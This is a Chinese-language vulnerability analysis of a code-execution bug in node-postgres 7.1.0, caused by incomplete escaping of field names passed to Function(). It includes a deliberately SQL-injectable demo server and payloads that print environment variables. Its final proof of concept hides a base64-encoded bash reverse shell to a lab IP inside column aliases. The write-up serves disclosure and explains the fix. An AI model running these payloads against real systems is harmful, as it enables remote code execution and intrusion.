作者:phith0n@長亭科技

Postgres 是現在用的比較多的數據庫,包括我自己的博客,數據庫都選擇使用 Postgres,其優點我就不展開說了。node-postgres是 node 中連接 pg 數據庫的客戶端,其中出現過一個代碼執行漏洞,非常典型,可以拿出來講一講。

0x01 Postgres 協議分析

碳基體妹紙曾經分析過 postgres 的認證協議,顯然 pg 的交互過程其實就是簡單的 TCP 數據包的交互過程,文檔中列出了所有數據報文。

其中,我們觀察到,pg 的通信,其實就是一些預定的 message 交換的過程。比如,pg 返回給客戶端的有一種報文叫“RowDescription”,作用是返回每一列(row)的所有字段名(field name)。客戶端拿到這個 message,解析出其中的內容,即可確定字段名:

我們可以抓包試一下,關閉服務端 SSL,執行SELECT 'phithon' AS "name",可見客戶端發送的報文頭是Simple Query,內容就是我執行的這條 SQL 語句:

返回包分為4個message,分別是T/D/C/Z,查看文檔可知,分別是“Row description”、“Data row”、“Command completion”、“Ready for query”:

這四者意義如下:

  1. “Row description” 字段及其名字,比如上圖中有一個字段,名為“name”
  2. “Data row” 值,上圖中值為“70686974686f6e”,其實就是“phithon”
  3. “Command completion” 用來標志執行的語句類型與相關行數,比如上圖中,我們執行的是select語句,返回1行數據,所以值是“SELECT 1”
  4. “Ready for query” 告訴客戶端,可以發送下一條語句了

至此,我們簡單分析了一下 postgresql 的通信過程。明白了這一點,后面的代碼執行漏洞,也由此拉開序幕。

0x02 漏洞觸發點

安裝node-postgres的7.1.0版本:npm install pg@7.1.0。在node_modules/pg/lib/connection.js可以找到連接數據庫的源碼:

Connection.prototype.parseMessage = function (buffer) {
  this.offset = 0
  var length = buffer.length + 4
  switch (this._reader.header) {
    case 0x52: // R
      return this.parseR(buffer, length)

    ...

    case 0x5a: // Z
      return this.parseZ(buffer, length)

    case 0x54: // T
      return this.parseT(buffer, length)

    ...
    }
}

...

var ROW_DESCRIPTION = 'rowDescription'
Connection.prototype.parseT = function (buffer, length) {
  var msg = new Message(ROW_DESCRIPTION, length)
  msg.fieldCount = this.parseInt16(buffer)
  var fields = []
  for (var i = 0; i < msg.fieldCount; i++) {
    fields.push(this.parseField(buffer))
  }
  msg.fields = fields
  return msg
}

...

可見,當this._reader.header等于"T"的時候,就進入parseT方法。0x01中介紹過T是什么,T就是“Row description”,表示返回數據的字段數及其名字。比如我執行了SELECT * FROM "user",pg數據庫需要告訴客戶端user這個表究竟有哪些字段,parseT方法就是用來獲取這個字段名的。

parseT 中觸發了 rowDescription 消息,我們看看在哪里接受這個事件:

// client.js
Client.prototype._attachListeners = function (con) {
  const self = this
  // delegate rowDescription to active query
  con.on('rowDescription', function (msg) {
    self.activeQuery.handleRowDescription(msg)
  })
...
}

// query.js
Query.prototype.handleRowDescription = function (msg) {
  this._checkForMultirow()
  this._result.addFields(msg.fields)
  this._accumulateRows = this.callback || !this.listeners('row').length
}

在 client.js 中接受了 rowDescription 事件,并調用了 query.js 中的 handleRowDescription 方法,handleRowDescription 方法中執行this._result.addFields(msg.fields)語句,并將所有字段傳入其中。

跟進 addFields 方法:

Result.prototype.addFields = function (fieldDescriptions) {
  // clears field definitions
  // multiple query statements in 1 action can result in multiple sets
  // of rowDescriptions...eg: 'select NOW(); select 1::int;'
  // you need to reset the fields
  if (this.fields.length) {
    this.fields = []
    this._parsers = []
  }
  var ctorBody = ''
  for (var i = 0; i < fieldDescriptions.length; i++) {
    var desc = fieldDescriptions[i]
    this.fields.push(desc)
    var parser = this._getTypeParser(desc.dataTypeID, desc.format || 'text')
    this._parsers.push(parser)
    // this is some craziness to compile the row result parsing
    // results in ~60% speedup on large query result sets
    ctorBody += inlineParser(desc.name, i)
  }
  if (!this.rowAsArray) {
    this.RowCtor = Function('parsers', 'rowData', ctorBody)
  }
}

addFields 方法中將所有字段經過 inlineParser 函數處理,處理完后得到結果 ctorBody,傳入了 Function 類的最后一個參數。

熟悉XSS漏洞的同學對“Function”這個類( https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function )應該不陌生了,在瀏覽器中我們可以用Function+任意字符串創造一個函數并執行:

其效果其實和 eval 差不多,特別類似PHP中的create_function。那么,Function 的最后一個參數(也就是函數體)如果被用戶控制,將會創造一個存在漏洞的函數。在前端是 XSS 漏洞,在后端則是代碼執行漏洞。

那么,ctorBody 是否可以被用戶控制呢?

0x03 常見BUG:轉義不全導致單引號逃逸

ctorBody 是經過 inlineParser 函數處理的,看看這個函數代碼:

var inlineParser = function (fieldName, i) {
  return "\nthis['" +
    // fields containing single quotes will break
    // the evaluated javascript unless they are escaped
    // see https://github.com/brianc/node-postgres/issues/507
    // Addendum: However, we need to make sure to replace all
    // occurences of apostrophes, not just the first one.
    // See https://github.com/brianc/node-postgres/issues/934
    fieldName.replace(/'/g, "\\'") +
    "'] = " +
    'rowData[' + i + '] == null ? null : parsers[' + i + '](rowData[' + i + ']);'
}

可見這里是存在字符串拼接,fieldName即為我前面說的“字段名”。雖然存在字符串拼接,但這里單引號'被轉義成\'fieldName.replace(/'/g, "\\'")。我們在注釋中也能看到開發者意識到了單引號需要“escaped”。

但顯然,只轉義單引號,我們可以通過反斜線\來繞過限制:

\' ==> \\'

這是一個比較普遍的BUG,開發者知道需要將單引號前面增加反斜線來轉義單引號,但是卻忘了我們也可以通過在這二者前面增加一個反斜線來轉義新增加的轉義符。所以,我們嘗試執行如下SQL語句:

sql = `SELECT 1 AS "\\'+console.log(process.env)]=null;//"`
const res = await client.query(sql)

這個 SQL 語句其實就很簡單,因為最后需要控制 fieldName,所以我們需要用到 AS 語句來構造字段名。

動態運行后,在 Function 的位置下斷點,我們可以看到最終傳入 Function 類的函數體:

可見,ctorBody 的值為:

this['\\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);

我逃逸了單引號,并構造了一個合法的 JavaScript 代碼。最后,console.log(process.env)在數據被讀取的時候執行,環境變量process.env被輸出:

0x04 實戰利用

那么,在實戰中,這個漏洞如何利用呢?

首先,因為可控點出現在數據庫字段名的位置,正常情況下字段名顯然不可能被控制。所以,我們首先需要控制數據庫或者SQL語句,比如存在SQL注入漏洞的情況下。

所以我編寫了一個簡單的存在注入的程序:

const Koa = require('koa')
const { Client } = require('pg')

const app = new Koa()
const client = new Client({
    user: "homestead",
    password: "secret",
    database: "postgres",
    host: "127.0.0.1",
    port: 54320
})
client.connect()

app.use(async ctx => {
    ctx.response.type = 'html'

    let id = ctx.request.query.id || 1
    let sql = `SELECT * FROM "user" WHERE "id" = ${id}`
    const res = await client.query(sql)

    ctx.body = `<html>
                    <body>
                        <table>
                            <tr><th>id</th><td>${res.rows[0].id}</td></tr>
                            <tr><th>name</th><td>${res.rows[0].name}</td></tr>
                            <tr><th>score</th><td>${res.rows[0].score}</td></tr>
                        </table>
                    </body>
                </html>`
})

app.listen(3000)

正常情況下,傳入id=1獲得第一條數據:

可見,這里id是存在SQL注入漏洞的。那么,我們怎么通過SQL注入控制字段名?

一般來說,這種WHERE后的注入,我們已經無法控制字段名了。即使通過如SELECT * FROM "user" WHERE id=-1 UNION SELECT 1,2,3 AS "\\'+console.log(process.env)]=null;//",第二個SELECT后的字段名也不會被PG返回,因為字段名已經被第一個SELECT定死。

但是 node-postgres 是支持多句執行的,顯然我們可以直接閉合第一個SQL語句,在第二個SQL語句中編寫POC代碼:

雖然返回了500錯誤,但顯然命令已然執行成功,環境變量被輸出在控制臺:

在 vulhub 搭建了環境,實戰中遇到了一些蛋疼的問題:

  • 單雙引號都不能正常使用,我們可以使用es6中的反引號
  • Function環境下沒有require函數,不能獲得child_process模塊,我們可以通過使用process.mainModule.constructor._load來代替require。
  • 一個fieldName只能有64位長度,所以我們通過多個fieldName拼接來完成利用

最后構造出如下POC:

SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`)//"

發送數據包:

成功反彈shell:

0x05 漏洞修復

官方隨后發布了漏洞通知: https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability 以及修復方案: https://github.com/brianc/node-postgres/blob/884e21e/lib/result.js#L86

可見,最新版中將fieldName.replace(/'/g, "\\'")修改為escape(fieldName),而escape函數來自這個庫:https://github.com/joliss/js-string-escape ,其轉義了大部分可能出現問題的字符。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/438/